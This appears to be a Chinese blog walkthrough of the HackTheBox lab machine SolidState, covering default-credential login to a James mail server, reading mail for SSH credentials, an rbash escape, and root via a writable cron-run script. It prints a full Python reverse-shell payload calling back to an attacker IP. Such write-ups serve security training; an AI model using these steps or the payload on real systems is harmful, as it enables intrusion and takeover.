Avatar {{帝力于我何有哉}} 不疯魔,不成活。 Be obsessed, or be average.


HackTheBox >_ SolidState_51

SolidState_51

image-20200925154055654

image-20200925154128438

有JAMES先搞JAMES。

image-20200925154253482

默认凭证成功登陆root:root

命令记不清可以使用help查看命令

image-20200925154521158

使用listusers命令列出所有邮件用户

image-20200925154612637

使用setpassword 用户名 密码的命令格式,为这些用户逐个修改密码,并挨个登陆检查他们的邮件

以下以得到线索的用户mindy为例

修改mindy秘密为mindy

image-20200925154637122

从110端口登陆

image-20200925154841809

使用LIST命令可以列出邮件

image-20200925154952235

使用RETR 序号可以阅读对应邮件

image-20200925155104079

发现一组凭证

username: mindy
pass: P@55W0rd1!2@

SSH 登陆

image-20200925155209500

得到user

image-20200925160749093

但是我们现在的shell是rbash,许多功能受限,所以我们可以使用 --noprofile参数来重新连接ssh越过bash的设置

$ ssh mindy@10.10.10.51 'bash --noprofile'

image-20200925161017829

image-20200925161114001

在我们的枚举,我们遇到在/ opt一个有趣的全局可写文件。

记得要经常检查/opt和/usr/local目录对任何有可能利用的自定义软件包或脚本。

image-20200925161209125

查看脚本内容

image-20200925161231856

看脚本是执行清除tmp下面的文件

我们可以通过修改这个会被root执行,但是我们可以写入的脚本,来获得root shell

因为在目标shell种打开vim等编辑器,难以正常输入。有另外一个技巧,就是在本地编辑好之后,直接复制代码

黏贴到目标中

#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.45",1338))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

现在本地写好脚本

然后在靶机上vi tmp.py

进入之后按ESC进入命令行模式 输入 :.,$d 删除所有行

再按 i 进入编辑模式 直接粘贴

再按 ESC 进入命令行模式

输入 :wq 保存退出

image-20200925161848256

在监听端口获得root shell

image-20200925161927060